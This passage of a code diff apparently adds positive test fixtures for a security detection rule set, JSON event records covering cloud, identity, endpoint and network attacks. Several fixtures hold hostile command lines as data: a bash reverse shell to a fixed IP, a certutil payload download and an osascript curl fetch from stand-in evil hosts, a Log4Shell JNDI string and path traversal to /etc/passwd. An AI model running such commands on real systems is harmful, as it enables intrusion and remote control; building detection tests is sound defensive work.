b/detections/fixtures/positive/federated-trust-modified.jsonnew file mode 100644index 000000000..126026c1c--- /dev/null+++ b/detections/fixtures/positive/federated-trust-modified.json@@ -0,0 +1,4 @@+{+ "domain": "corp.com",+ "operation_name": "Set domain authentication"+}diff --git a/detections/fixtures/positive/federation-cross-tenant-access.json b/detections/fixtures/positive/federation-cross-tenant-access.jsonnew file mode 100644index 000000000..a87eec250--- /dev/null+++ b/detections/fixtures/positive/federation-cross-tenant-access.json@@ -0,0 +1,4 @@+{+ "operation_name": "Add cross-tenant access policy",+ "partner_tenant": "external-tenant-id"+}diff --git a/detections/fixtures/positive/firewall-disabled-host.json b/detections/fixtures/positive/firewall-disabled-host.jsonnew file mode 100644index 000000000..47eb4682e--- /dev/null+++ b/detections/fixtures/positive/firewall-disabled-host.json@@ -0,0 +1,5 @@+{+ "command_line": "netsh advfirewall set allprofiles state off",+ "host": "wks-001",+ "image_basename": "netsh.exe"+}diff --git a/detections/fixtures/positive/ftp-outbound-anomaly.json b/detections/fixtures/positive/ftp-outbound-anomaly.jsonnew file mode 100644index 000000000..b24be507d--- /dev/null+++ b/detections/fixtures/positive/ftp-outbound-anomaly.json@@ -0,0 +1,7 @@+{+ "bytes_out": 200000000,+ "dst_port": 21,+ "protocol": "TCP",+ "src_host": "wks-001",+ "src_in_allowlist": false+}diff --git a/detections/fixtures/positive/gcp-audit-log-sink-disabled.json b/detections/fixtures/positive/gcp-audit-log-sink-disabled.jsonnew file mode 100644index 000000000..5b45c76b8--- /dev/null+++ b/detections/fixtures/positive/gcp-audit-log-sink-disabled.json@@ -0,0 +1,5 @@+{+ "method_name": "google.logging.v2.ConfigServiceV2.DeleteSink",+ "principal": "[email protected]",+ "sink": "org-default"+}diff --git a/detections/fixtures/positive/gcp-bigquery-dataset-public.json b/detections/fixtures/positive/gcp-bigquery-dataset-public.jsonnew file mode 100644index 000000000..8f89a4cbb--- /dev/null+++ b/detections/fixtures/positive/gcp-bigquery-dataset-public.json@@ -0,0 +1,5 @@+{+ "dataset": "customer_metrics",+ "iam_member": "allUsers",+ "method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset"+}diff --git a/detections/fixtures/positive/gcp-firewall-rule-allow-all.json b/detections/fixtures/positive/gcp-firewall-rule-allow-all.jsonnew file mode 100644index 000000000..e78fd1202--- /dev/null+++ b/detections/fixtures/positive/gcp-firewall-rule-allow-all.json@@ -0,0 +1,6 @@+{+ "fw": "prod-bastion",+ "method_name": "compute.firewalls.insert",+ "port": 22,+ "source_range": "0.0.0.0/0"+}diff --git a/detections/fixtures/positive/gcp-gcs-bucket-public.json b/detections/fixtures/positive/gcp-gcs-bucket-public.jsonnew file mode 100644index 000000000..ae770d270--- /dev/null+++ b/detections/fixtures/positive/gcp-gcs-bucket-public.json@@ -0,0 +1,5 @@+{+ "bucket": "customer-data",+ "iam_member": "allUsers",+ "method_name": "storage.setIamPermissions"+}diff --git a/detections/fixtures/positive/gcp-iam-primitive-role-grant.json b/detections/fixtures/positive/gcp-iam-primitive-role-grant.jsonnew file mode 100644index 000000000..d443043dd--- /dev/null+++ b/detections/fixtures/positive/gcp-iam-primitive-role-grant.json@@ -0,0 +1,6 @@+{+ "method_name": "SetIamPolicy",+ "principal": "[email protected]",+ "project": "prod",+ "role": "roles/owner"+}diff --git a/detections/fixtures/positive/gcp-org-policy-modified.json b/detections/fixtures/positive/gcp-org-policy-modified.jsonnew file mode 100644index 000000000..89ad91ebe--- /dev/null+++ b/detections/fixtures/positive/gcp-org-policy-modified.json@@ -0,0 +1,5 @@+{+ "method_name": "google.cloud.orgpolicy.v2.OrgPolicy.SetOrgPolicy",+ "policy": "compute.requireOsLogin",+ "principal": "[email protected]"+}diff --git a/detections/fixtures/positive/gcp-project-deletion.json b/detections/fixtures/positive/gcp-project-deletion.jsonnew file mode 100644index 000000000..8b17f8a49--- /dev/null+++ b/detections/fixtures/positive/gcp-project-deletion.json@@ -0,0 +1,5 @@+{+ "method_name": "DeleteProject",+ "principal": "[email protected]",+ "project": "prod-revenue"+}diff --git a/detections/fixtures/positive/gcp-secret-manager-mass-export.json b/detections/fixtures/positive/gcp-secret-manager-mass-export.jsonnew file mode 100644index 000000000..75b791628--- /dev/null+++ b/detections/fixtures/positive/gcp-secret-manager-mass-export.json@@ -0,0 +1,6 @@+{+ "method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion",+ "principal": "[email protected]",+ "secret_count_per_principal": 80,+ "time_window_minutes": 4+}diff --git a/detections/fixtures/positive/gcp-service-account-impersonation.json b/detections/fixtures/positive/gcp-service-account-impersonation.jsonnew file mode 100644index 000000000..e9d8af772--- /dev/null+++ b/detections/fixtures/positive/gcp-service-account-impersonation.json@@ -0,0 +1,6 @@+{+ "impersonator": "[email protected]",+ "impersonator_in_allowlist": false,+ "method_name": "GenerateAccessToken",+ "target_sa": "[email protected]"+}diff --git a/detections/fixtures/positive/gcp-service-account-key-created.json b/detections/fixtures/positive/gcp-service-account-key-created.jsonnew file mode 100644index 000000000..2ffc59b3b--- /dev/null+++ b/detections/fixtures/positive/gcp-service-account-key-created.json@@ -0,0 +1,4 @@+{+ "method_name": "google.iam.admin.v1.CreateServiceAccountKey",+ "sa_email": "[email protected]"+}diff --git a/detections/fixtures/positive/github-pii-pattern-push.json b/detections/fixtures/positive/github-pii-pattern-push.jsonnew file mode 100644index 000000000..756060e80--- /dev/null+++ b/detections/fixtures/positive/github-pii-pattern-push.json@@ -0,0 +1,6 @@+{+ "action": "git.push",+ "actor": "[email protected]",+ "diff_text": "+ secret = \"AKIAIOSFODNN7EXAMPLE\"",+ "ref": "refs/heads/main"+}diff --git a/detections/fixtures/positive/github-protected-branch-bypass.json b/detections/fixtures/positive/github-protected-branch-bypass.jsonnew file mode 100644index 000000000..e5ad10f9b--- /dev/null+++ b/detections/fixtures/positive/github-protected-branch-bypass.json@@ -0,0 +1,7 @@+{+ "action": "git.push",+ "actor": "[email protected]",+ "actor_role": "developer",+ "ref": "refs/heads/main",+ "ref_in_protected_branches": true+}diff --git a/detections/fixtures/positive/github-public-repo-flip.json b/detections/fixtures/positive/github-public-repo-flip.jsonnew file mode 100644index 000000000..801d2929d--- /dev/null+++ b/detections/fixtures/positive/github-public-repo-flip.json@@ -0,0 +1,6 @@+{+ "action": "repo.visibility_change",+ "actor": "[email protected]",+ "repo": "internal-tooling",+ "visibility": "public"+}diff --git a/detections/fixtures/positive/gitlab-runner-shared-tag.json b/detections/fixtures/positive/gitlab-runner-shared-tag.jsonnew file mode 100644index 000000000..dcdd5eb05--- /dev/null+++ b/detections/fixtures/positive/gitlab-runner-shared-tag.json@@ -0,0 +1,5 @@+{+ "actor": "[email protected]",+ "event_type": "runners.register",+ "runner_scope": "shared"+}diff --git a/detections/fixtures/positive/golden-ticket.json b/detections/fixtures/positive/golden-ticket.jsonnew file mode 100644index 000000000..0f3352e57--- /dev/null+++ b/detections/fixtures/positive/golden-ticket.json@@ -0,0 +1,6 @@+{+ "event_id": 4624,+ "logon_type": 3,+ "ticket_lifetime_hours": 720,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/graphql-introspection.json b/detections/fixtures/positive/graphql-introspection.jsonnew file mode 100644index 000000000..7ffa898c2--- /dev/null+++ b/detections/fixtures/positive/graphql-introspection.json@@ -0,0 +1,5 @@+{+ "host": "api.corp.com",+ "request_body": "{__schema{queryType{name}}}",+ "request_uri": "/graphql"+}diff --git a/detections/fixtures/positive/group-policy-modification.json b/detections/fixtures/positive/group-policy-modification.jsonnew file mode 100644index 000000000..399e5d249--- /dev/null+++ b/detections/fixtures/positive/group-policy-modification.json@@ -0,0 +1,5 @@+{+ "event_id": 5136,+ "object_class": "groupPolicyContainer",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/host-files-modified.json b/detections/fixtures/positive/host-files-modified.jsonnew file mode 100644index 000000000..3528d8c81--- /dev/null+++ b/detections/fixtures/positive/host-files-modified.json@@ -0,0 +1,6 @@+{+ "actor": "[email protected]",+ "event_type": "FileWrite",+ "file_path": "C:\\Windows\\System32\\drivers\\etc\\hosts",+ "host": "wks-001"+}diff --git a/detections/fixtures/positive/iam-policy-detach-defense.json b/detections/fixtures/positive/iam-policy-detach-defense.jsonnew file mode 100644index 000000000..398b34f7c--- /dev/null+++ b/detections/fixtures/positive/iam-policy-detach-defense.json@@ -0,0 +1,5 @@+{+ "event_name": "DetachRolePolicy",+ "policy_name": "OrgDenyDeleteCloudTrail",+ "role": "deploy-bot"+}diff --git a/detections/fixtures/positive/icmp-tunnel.json b/detections/fixtures/positive/icmp-tunnel.jsonnew file mode 100644index 000000000..dedf510a9--- /dev/null+++ b/detections/fixtures/positive/icmp-tunnel.json@@ -0,0 +1,7 @@+{+ "avg_payload_bytes": 1200,+ "packet_count": 2000,+ "protocol": "ICMP",+ "src_host": "wks-001",+ "time_window_minutes": 12+}diff --git a/detections/fixtures/positive/idp-metadata-changed.json b/detections/fixtures/positive/idp-metadata-changed.jsonnew file mode 100644index 000000000..5718bb086--- /dev/null+++ b/detections/fixtures/positive/idp-metadata-changed.json@@ -0,0 +1,4 @@+{+ "app": "salesforce",+ "event_type": "app.idp.update_signing_certificate"+}diff --git a/detections/fixtures/positive/image-load-suspicious-signing.json b/detections/fixtures/positive/image-load-suspicious-signing.jsonnew file mode 100644index 000000000..d318f20d9--- /dev/null+++ b/detections/fixtures/positive/image-load-suspicious-signing.json@@ -0,0 +1,6 @@+{+ "event_type": "ImageLoad",+ "host": "wks-001",+ "image_basename_loaded": "evil.dll",+ "signature_status": "Invalid"+}diff --git a/detections/fixtures/positive/impossible-travel.json b/detections/fixtures/positive/impossible-travel.jsonnew file mode 100644index 000000000..8cded4144--- /dev/null+++ b/detections/fixtures/positive/impossible-travel.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "time_delta_minutes": 30,+ "travel_speed_kmh": 1100,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/internal-host-spamming-mail.json b/detections/fixtures/positive/internal-host-spamming-mail.jsonnew file mode 100644index 000000000..7f92e8261--- /dev/null+++ b/detections/fixtures/positive/internal-host-spamming-mail.json@@ -0,0 +1,7 @@+{+ "dst_port": 25,+ "protocol": "TCP",+ "smtp_count_per_src": 800,+ "src_host": "wks-001",+ "time_window_minutes": 5+}diff --git a/detections/fixtures/positive/ipv6-tunnel-outbound.json b/detections/fixtures/positive/ipv6-tunnel-outbound.jsonnew file mode 100644index 000000000..366f76041--- /dev/null+++ b/detections/fixtures/positive/ipv6-tunnel-outbound.json@@ -0,0 +1,5 @@+{+ "dst_port": 3544,+ "protocol": "UDP",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/jit-elevation-abuse.json b/detections/fixtures/positive/jit-elevation-abuse.jsonnew file mode 100644index 000000000..2e2cb9b65--- /dev/null+++ b/detections/fixtures/positive/jit-elevation-abuse.json@@ -0,0 +1,5 @@+{+ "elevation_duration_minutes": 720,+ "event_type": "user.privilege.elevate",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/jwt-none-alg.json b/detections/fixtures/positive/jwt-none-alg.jsonnew file mode 100644index 000000000..7f1bdea32--- /dev/null+++ b/detections/fixtures/positive/jwt-none-alg.json@@ -0,0 +1,5 @@+{+ "authorization_header": "Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.",+ "authorization_header_jwt_alg": "none",+ "host": "api.corp.com"+}diff --git a/detections/fixtures/positive/kerberoasting.json b/detections/fixtures/positive/kerberoasting.jsonnew file mode 100644index 000000000..6f5bd92c2--- /dev/null+++ b/detections/fixtures/positive/kerberoasting.json@@ -0,0 +1,7 @@+{+ "event_id": 4769,+ "spn_count_per_user": 12,+ "ticket_encryption": "RC4-HMAC",+ "time_window_minutes": 2,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/kerberos-encryption-downgrade.json b/detections/fixtures/positive/kerberos-encryption-downgrade.jsonnew file mode 100644index 000000000..6dfea3a59--- /dev/null+++ b/detections/fixtures/positive/kerberos-encryption-downgrade.json@@ -0,0 +1,5 @@+{+ "event_id": 4768,+ "ticket_encryption": "RC4-HMAC",+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/kernel-module-load-suspicious.json b/detections/fixtures/positive/kernel-module-load-suspicious.jsonnew file mode 100644index 000000000..942a40324--- /dev/null+++ b/detections/fixtures/positive/kernel-module-load-suspicious.json@@ -0,0 +1,5 @@+{+ "event_type": "MODULE",+ "host": "linux-01",+ "module_path": "/tmp/rootkit.ko"+}diff --git a/detections/fixtures/positive/kube-exec-into-prod-pod.json b/detections/fixtures/positive/kube-exec-into-prod-pod.jsonnew file mode 100644index 000000000..a92970f31--- /dev/null+++ b/detections/fixtures/positive/kube-exec-into-prod-pod.json@@ -0,0 +1,8 @@+{+ "namespace": "production",+ "object_resource": "pods",+ "subresource": "exec",+ "user": "[email protected]",+ "user_role": "developer",+ "verb": "create"+}diff --git a/detections/fixtures/positive/large-egress-personal-cloud.json b/detections/fixtures/positive/large-egress-personal-cloud.jsonnew file mode 100644index 000000000..ae03995b7--- /dev/null+++ b/detections/fixtures/positive/large-egress-personal-cloud.json@@ -0,0 +1,7 @@+{+ "bytes_out": 500000000,+ "dst_host": "personal-cloud.tld",+ "dst_in_personal_cloud_list": true,+ "src_host": "wks-001",+ "time_window_minutes": 30+}diff --git a/detections/fixtures/positive/ldap-bind-anomaly.json b/detections/fixtures/positive/ldap-bind-anomaly.jsonnew file mode 100644index 000000000..ec805793e--- /dev/null+++ b/detections/fixtures/positive/ldap-bind-anomaly.json@@ -0,0 +1,6 @@+{+ "event_id": 1644,+ "ldap_query_count_per_src": 500,+ "src_host": "wks-001",+ "time_window_minutes": 3+}diff --git a/detections/fixtures/positive/log4shell.json b/detections/fixtures/positive/log4shell.jsonnew file mode 100644index 000000000..0dc78f798--- /dev/null+++ b/detections/fixtures/positive/log4shell.json@@ -0,0 +1,4 @@+{+ "header_value": "${jndi:ldap://evil.tld/x}",+ "host": "app.corp.com"+}diff --git a/detections/fixtures/positive/login-anonymous-ip.json b/detections/fixtures/positive/login-anonymous-ip.jsonnew file mode 100644index 000000000..1ae9f077c--- /dev/null+++ b/detections/fixtures/positive/login-anonymous-ip.json@@ -0,0 +1,5 @@+{+ "event_type": "user.session.start",+ "ip_anonymizer": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/login-during-incident.json b/detections/fixtures/positive/login-during-incident.jsonnew file mode 100644index 000000000..ababa95dd--- /dev/null+++ b/detections/fixtures/positive/login-during-incident.json@@ -0,0 +1,7 @@+{+ "active_p0_or_p1_incident": true,+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "user": "[email protected]",+ "user_role": "marketing"+}diff --git a/detections/fixtures/positive/login-from-foreign-country.json b/detections/fixtures/positive/login-from-foreign-country.jsonnew file mode 100644index 000000000..f2795cc1c--- /dev/null+++ b/detections/fixtures/positive/login-from-foreign-country.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "outcome": "SUCCESS",+ "src_country": "RU",+ "src_country_not_in_allowlist": true,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/login-outside-business-hours.json b/detections/fixtures/positive/login-outside-business-hours.jsonnew file mode 100644index 000000000..8545f9b33--- /dev/null+++ b/detections/fixtures/positive/login-outside-business-hours.json@@ -0,0 +1,7 @@+{+ "event_type": "user.session.start",+ "hour_of_day_local": 3,+ "outcome": "SUCCESS",+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/positive/lolbas-execution.json b/detections/fixtures/positive/lolbas-execution.jsonnew file mode 100644index 000000000..5f4bd5301--- /dev/null+++ b/detections/fixtures/positive/lolbas-execution.json@@ -0,0 +1,5 @@+{+ "command_line": "certutil.exe -urlcache -split -f http://evil/payload.exe",+ "host": "wks-001",+ "image_basename": "certutil.exe"+}diff --git a/detections/fixtures/positive/macos-codesign-bypass.json b/detections/fixtures/positive/macos-codesign-bypass.jsonnew file mode 100644index 000000000..9edc4c776--- /dev/null+++ b/detections/fixtures/positive/macos-codesign-bypass.json@@ -0,0 +1,5 @@+{+ "command_line": "xattr -d com.apple.quarantine /tmp/payload.app",+ "host": "mac-01",+ "image_basename": "xattr"+}diff --git a/detections/fixtures/positive/macos-gatekeeper-disabled.json b/detections/fixtures/positive/macos-gatekeeper-disabled.jsonnew file mode 100644index 000000000..e29e12c4d--- /dev/null+++ b/detections/fixtures/positive/macos-gatekeeper-disabled.json@@ -0,0 +1,5 @@+{+ "command_line": "spctl --master-disable",+ "host": "mac-01",+ "image_basename": "spctl"+}diff --git a/detections/fixtures/positive/macos-launchagent-write.json b/detections/fixtures/positive/macos-launchagent-write.jsonnew file mode 100644index 000000000..4e33003fe--- /dev/null+++ b/detections/fixtures/positive/macos-launchagent-write.json@@ -0,0 +1,5 @@+{+ "event_type": "ES_EVENT_TYPE_NOTIFY_CREATE",+ "file_path": "/Library/LaunchAgents/com.evil.beacon.plist",+ "host": "mac-01"+}diff --git a/detections/fixtures/positive/macos-osascript-spawn.json b/detections/fixtures/positive/macos-osascript-spawn.jsonnew file mode 100644index 000000000..1bd62b548--- /dev/null+++ b/detections/fixtures/positive/macos-osascript-spawn.json@@ -0,0 +1,5 @@+{+ "command_line": "osascript -e 'do shell script \"curl http://evil/payload\" with administrator privileges'",+ "host": "mac-01",+ "image_basename": "osascript"+}diff --git a/detections/fixtures/positive/macos-tcc-bypass-attempt.json b/detections/fixtures/positive/macos-tcc-bypass-attempt.jsonnew file mode 100644index 000000000..10ac6f7e8--- /dev/null+++ b/detections/fixtures/positive/macos-tcc-bypass-attempt.json@@ -0,0 +1,5 @@+{+ "command_line": "sqlite3 ~/Library/Application\\ Support/com.apple.TCC/TCC.db",+ "host": "mac-01",+ "image_basename": "sqlite3"+}diff --git a/detections/fixtures/positive/mfa-bypass-policy-change.json b/detections/fixtures/positive/mfa-bypass-policy-change.jsonnew file mode 100644index 000000000..b1177fba6--- /dev/null+++ b/detections/fixtures/positive/mfa-bypass-policy-change.json@@ -0,0 +1,5 @@+{+ "event_type": "policy.lifecycle.update",+ "policy_change_field": "mfa_required:false",+ "policy_name": "all-employees"+}diff --git a/detections/fixtures/positive/mfa-fatigue.json b/detections/fixtures/positive/mfa-fatigue.jsonnew file mode 100644index 000000000..089128348--- /dev/null+++ b/detections/fixtures/positive/mfa-fatigue.json@@ -0,0 +1,6 @@+{+ "event_type": "user.mfa.factor.push",+ "mfa_push_count": 25,+ "time_window_minutes": 3,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/newly-registered-domain-traffic.json b/detections/fixtures/positive/newly-registered-domain-traffic.jsonnew file mode 100644index 000000000..a219aca08--- /dev/null+++ b/detections/fixtures/positive/newly-registered-domain-traffic.json@@ -0,0 +1,6 @@+{+ "domain": "evil-newdom.tld",+ "domain_age_days": 2,+ "host": "wks-001",+ "method": "POST"+}diff --git a/detections/fixtures/positive/ntp-amplification.json b/detections/fixtures/positive/ntp-amplification.jsonnew file mode 100644index 000000000..22d74a19e--- /dev/null+++ b/detections/fixtures/positive/ntp-amplification.json@@ -0,0 +1,8 @@+{+ "dst_port": 123,+ "ntp_command": "monlist",+ "protocol": "UDP",+ "src_ip": "203.0.113.7",+ "src_ip_class": "internet",+ "src_port": 123+}diff --git a/detections/fixtures/positive/oauth-broad-scope-grant.json b/detections/fixtures/positive/oauth-broad-scope-grant.jsonnew file mode 100644index 000000000..ac555e73d--- /dev/null+++ b/detections/fixtures/positive/oauth-broad-scope-grant.json@@ -0,0 +1,8 @@+{+ "app": "thirdparty-importer",+ "event_type": "oauth.token.grant",+ "scope_set": [+ "drive.full"+ ],+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/off-hours-bulk-download.json b/detections/fixtures/positive/off-hours-bulk-download.jsonnew file mode 100644index 000000000..1302d4022--- /dev/null+++ b/detections/fixtures/positive/off-hours-bulk-download.json@@ -0,0 +1,5 @@+{+ "bytes_out": 200000000,+ "hour_of_day_local": 3,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/office-spawn-shell.json b/detections/fixtures/positive/office-spawn-shell.jsonnew file mode 100644index 000000000..127e0189d--- /dev/null+++ b/detections/fixtures/positive/office-spawn-shell.json@@ -0,0 +1,5 @@+{+ "host": "wks-001",+ "image_basename": "powershell.exe",+ "parent_image_basename": "winword.exe"+}diff --git a/detections/fixtures/positive/open-redirect.json b/detections/fixtures/positive/open-redirect.jsonnew file mode 100644index 000000000..358d69d35--- /dev/null+++ b/detections/fixtures/positive/open-redirect.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/login?next=http://evil.tld/phish"+}diff --git a/detections/fixtures/positive/outbound-clear-text-protocol.json b/detections/fixtures/positive/outbound-clear-text-protocol.jsonnew file mode 100644index 000000000..cf9a428a1--- /dev/null+++ b/detections/fixtures/positive/outbound-clear-text-protocol.json@@ -0,0 +1,6 @@+{+ "dst_ip": "203.0.113.7",+ "dst_port": 23,+ "protocol": "TCP",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/outbound-paste-public.json b/detections/fixtures/positive/outbound-paste-public.jsonnew file mode 100644index 000000000..8ca2ea37a--- /dev/null+++ b/detections/fixtures/positive/outbound-paste-public.json@@ -0,0 +1,7 @@+{+ "bytes_out": 50000,+ "dst_host": "pastebin.com",+ "dst_in_paste_list": true,+ "method": "POST",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/p2p-protocol-on-corp-net.json b/detections/fixtures/positive/p2p-protocol-on-corp-net.jsonnew file mode 100644index 000000000..a957ddd00--- /dev/null+++ b/detections/fixtures/positive/p2p-protocol-on-corp-net.json@@ -0,0 +1,4 @@+{+ "protocol_app": "bittorrent",+ "src_host": "wks-001"+}diff --git a/detections/fixtures/positive/password-reset-out-of-hours.json b/detections/fixtures/positive/password-reset-out-of-hours.jsonnew file mode 100644index 000000000..fe5d0d0b5--- /dev/null+++ b/detections/fixtures/positive/password-reset-out-of-hours.json@@ -0,0 +1,6 @@+{+ "event_type": "user.account.reset_password",+ "hour_of_day_local": 2,+ "user": "[email protected]",+ "user_role": "admin"+}diff --git a/detections/fixtures/positive/password-spray.json b/detections/fixtures/positive/password-spray.jsonnew file mode 100644index 000000000..16eed2102--- /dev/null+++ b/detections/fixtures/positive/password-spray.json@@ -0,0 +1,7 @@+{+ "distinct_users_per_ip": 60,+ "event_type": "user.session.start",+ "outcome": "FAILURE",+ "src_ip": "203.0.113.7",+ "time_window_minutes": 12+}diff --git a/detections/fixtures/positive/path-traversal.json b/detections/fixtures/positive/path-traversal.jsonnew file mode 100644index 000000000..db59b2397--- /dev/null+++ b/detections/fixtures/positive/path-traversal.json@@ -0,0 +1,4 @@+{+ "host": "app.corp.com",+ "request_uri": "/files?name=../../../../etc/passwd"+}diff --git a/detections/fixtures/positive/phishing-attachment-double-extension.json b/detections/fixtures/positive/phishing-attachment-double-extension.jsonnew file mode 100644index 000000000..646b904da--- /dev/null+++ b/detections/fixtures/positive/phishing-attachment-double-extension.json@@ -0,0 +1,4 @@+{+ "attachment_filename": "Invoice.pdf.exe",+ "to": "[email protected]"+}diff --git a/detections/fixtures/positive/phishing-ms365-impersonation.json b/detections/fixtures/positive/phishing-ms365-impersonation.jsonnew file mode 100644index 000000000..a36c4fd80--- /dev/null+++ b/detections/fixtures/positive/phishing-ms365-impersonation.json@@ -0,0 +1,5 @@+{+ "to": "[email protected]",+ "url": "https://office365-login.evil.tld",+ "url_brand_impersonation": "office365"+}diff --git a/detections/fixtures/positive/port-scan-internal.json b/detections/fixtures/positive/port-scan-internal.jsonnew file mode 100644index 000000000..10283581f--- /dev/null+++ b/detections/fixtures/positive/port-scan-internal.json@@ -0,0 +1,6 @@+{+ "distinct_dst_per_src": 50,+ "distinct_ports_per_src": 200,+ "src_ip": "10.0.5.7",+ "time_window_minutes": 4+}diff --git a/detections/fixtures/positive/powershell-encoded-command.json b/detections/fixtures/positive/powershell-encoded-command.jsonnew file mode 100644index 000000000..57125a35c--- /dev/null+++ b/detections/fixtures/positive/powershell-encoded-command.json@@ -0,0 +1,5 @@+{+ "command_line": "powershell.exe -exec bypass -enc JABzAD0AJwBoAGsAJwA=",+ "host": "wks-001",+ "image_basename": "powershell.exe"+}diff --git a/detections/fixtures/positive/printer-mass-print-confidential.json b/detections/fixtures/positive/printer-mass-print-confidential.jsonnew file mode 100644index 000000000..d2685a520--- /dev/null+++ b/detections/fixtures/positive/printer-mass-print-confidential.json@@ -0,0 +1,7 @@+{+ "doc_classification": "confidential",+ "event_id": 307,+ "page_count_per_user": 1500,+ "time_window_hours": 0.5,+ "user": "[email protected]"+}diff --git a/detections/fixtures/positive/privileged-role-assignment.json b/detections/fixtures/positive/privileged-role-assignment.jsonnew file mode 100644index 000000000..cc8741f9d--- /dev/null+++ b/detections/fixtures/positive/privileged-role-assignment.json@@ -0,0 +1,5 @@+{+ "event_type": "user.role.add",+ "role_name": "admin",+ "target_user": "[email protected]"+}diff --git a/detections/fixtures/positive/process-injection-cross-process-thread.json b/detections/fixtures/positive/process-injection-cross-process-thread.jsonnew file mode 100644index 000000000..7fb19f5e7--- /dev/null+++ b/detections/fixtures/positive/process-injection-cross-process-thread.json@@ -0,0 +1,7 @@+{+ "event_type": "CreateRemoteThread",+ "host": "wks-001",+ "source_image_basename": "rundll32.exe",+ "source_image_basename_not_in_allowlist": true,+ "target_image_basename": "explorer.exe"+}diff --git a/detections/fixtures/positive/psexec-style-binary-write-admin-share.json b/detections/fixtures/positive/psexec-style-binary-write-admin-share.jsonnew file mode 100644index 000000000..775c62383--- /dev/null+++ b/detections/fixtures/positive/psexec-style-binary-write-admin-share.json@@ -0,0 +1,6 @@+{+ "event_type": "FileCreate",+ "file_path": "\\\\target\\ADMIN$\\PSEXESVC.exe",+ "host": "wks-001",+ "image_basename_creator": "psexec.exe"+}diff --git a/detections/fixtures/positive/ransomware-file-extension-change.json b/detections/fixtures/positive/ransomware-file-extension-change.jsonnew file mode 100644index 000000000..8c456461a--- /dev/null+++ b/detections/fixtures/positive/ransomware-file-extension-change.json@@ -0,0 +1,7 @@+{+ "extension_change_pattern": "to-novel-extension",+ "host": "wks-001",+ "process": "encrypt.exe",+ "rename_count_per_process": 1500,+ "time_window_minutes": 2+}diff --git a/detections/fixtures/positive/rate-limit-burst.json b/detections/fixtures/positive/rate-limit-burst.jsonnew file mode 100644index 000000000..74cabb505--- /dev/null+++ b/detections/fixtures/positive/rate-limit-burst.json@@ -0,0 +1,7 @@+{+ "method": "POST",+ "request_count_per_src": 600,+ "request_uri": "/login",+ "src_ip": "203.0.113.7",+ "time_window_minutes": 3+}diff --git a/detections/fixtures/positive/rbac-cluster-admin-binding.json b/detections/fixtures/positive/rbac-cluster-admin-binding.jsonnew file mode 100644index 000000000..b409b79d9--- /dev/null+++ b/detections/fixtures/positive/rbac-cluster-admin-binding.json@@ -0,0 +1,6 @@+{+ "object_resource": "clusterrolebindings",+ "role_ref": "cluster-admin",+ "subject": "[email protected]",+ "verb": "create"+}diff --git a/detections/fixtures/positive/rclone-process-on-host.json b/detections/fixtures/positive/rclone-process-on-host.jsonnew file mode 100644index 000000000..5e9c30fe8--- /dev/null+++ b/detections/fixtures/positive/rclone-process-on-host.json@@ -0,0 +1,4 @@+{+ "host": "wks-001",+ "image_basename": "rclone.exe"+}diff --git a/detections/fixtures/positive/rdp-from-internet.json b/detections/fixtures/positive/rdp-from-internet.jsonnew file mode 100644index 000000000..885b5ea27--- /dev/null+++ b/detections/fixtures/positive/rdp-from-internet.json@@ -0,0 +1,7 @@+{+ "dst_ip": "10.0.5.7",+ "dst_ip_class": "internal",+ "dst_port": 3389,+ "src_ip": "203.0.113.7",+ "src_ip_class": "internet"+}diff --git a/detections/fixtures/positive/rdp-screen-takeover.json b/detections/fixtures/positive/rdp-screen-takeover.jsonnew file mode 100644index 000000000..82c2b660e--- /dev/null+++ b/detections/fixtures/positive/rdp-screen-takeover.json@@ -0,0 +1,6 @@+{+ "concurrent_console_session": true,+ "event_id": 4624,+ "host": "wks-001",+ "logon_type": 10+}diff --git a/detections/fixtures/positive/rdp-tickling.json b/detections/fixtures/positive/rdp-tickling.jsonnew file mode 100644index 000000000..5570d210e--- /dev/null+++ b/detections/fixtures/positive/rdp-tickling.json@@ -0,0 +1,7 @@+{+ "dst_ip": "203.0.113.7",+ "dst_ip_class": "internet",+ "dst_port": 3389,+ "src_host": "wks-001",+ "src_role": "workstation"+}diff --git a/detections/fixtures/positive/registry-runkey-write.json b/detections/fixtures/positive/registry-runkey-write.jsonnew file mode 100644index 000000000..c3f48616e--- /dev/null+++ b/detections/fixtures/positive/registry-runkey-write.json@@ -0,0 +1,6 @@+{+ "event_type": "RegistryValueSet",+ "host": "wks-001",+ "registry_path": "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",+ "value_data": "C:\\Users\\Public\\beacon.exe"+}diff --git a/detections/fixtures/positive/remote-image-load-from-share.json b/detections/fixtures/positive/remote-image-load-from-share.jsonnew file mode 100644index 000000000..ae76b9164--- /dev/null+++ b/detections/fixtures/positive/remote-image-load-from-share.json@@ -0,0 +1,5 @@+{+ "event_type": "ImageLoad",+ "host": "wks-001",+ "image_loaded_path": "\\\\filesvr\\public\\evil.dll"+}diff --git a/detections/fixtures/positive/reverse-shell-bash.json b/detections/fixtures/positive/reverse-shell-bash.jsonnew file mode 100644index 000000000..0ab795102--- /dev/null+++ b/detections/fixtures/positive/reverse-shell-bash.json@@ -0,0 +1,5 @@+{+ "command_line": "bash -i >& /dev/tcp/198.51.100.5/4444 0>&1",+ "host": "linux-01",+ "image_basename": "bash"+}diff --git 